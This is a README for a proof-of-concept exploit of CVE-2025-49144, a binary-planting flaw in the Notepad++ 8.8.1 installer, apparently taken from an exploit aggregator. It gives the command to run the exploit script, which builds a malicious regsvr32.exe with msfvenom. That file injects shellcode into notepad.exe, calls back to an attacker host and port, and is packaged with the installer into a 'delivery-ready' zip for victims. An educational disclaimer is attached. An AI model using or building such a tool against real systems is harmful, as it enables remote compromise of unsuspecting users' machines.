## https://sploitus.com/exploit?id=2966E4A2-4918-593D-8487-F40195A267D6
# CVE-2025-49144 โ Exploit for Notepad++ 8.8.1
This repository contains a functional Proof of Concept (PoC) that exploits the **CVE-2025-49144** vulnerability in the **Notepad++ 8.8.1 installer**. The malicious execution occurs by placing a binary (`regsvr32.exe`) in the same directory as the vulnerable installer. When the installer is executed, it inherits the context and triggers the payload.
> โ ๏ธ **Disclaimer**
> This code is strictly intended for **educational and research purposes** only. Unauthorized use on systems without explicit permission may constitute a violation of the law.
> The author is **not responsible** for any misuse or malicious activity involving this tool.
---
## ๐งช Requirements
- Python 3.x
- [`msfvenom`](https://www.metasploit.com/) (part of Metasploit Framework)
- `mingw-w64` (`x86_64-w64-mingw32-gcc`)
- Vulnerable installer: `npp.8.8.1.Installer.x64.exe` (must be placed manually in the same directory)
---
## โ๏ธ Usage
```bash
python3 exploit.py -i <LHOST> -p <LPORT>
```
Example:
```c
python3 exploit.py -i 192.168.100.10 -p 4444
```
This will generate the following files:
- regsvr32.exe: executable that injects shellcode into a remote notepad.exe process.
- notepad_payload.zip: delivery-ready archive containing:
- npp.8.8.1.Installer.x64.exe
- regsvr32.exe
## ๐ฌ Demo
[]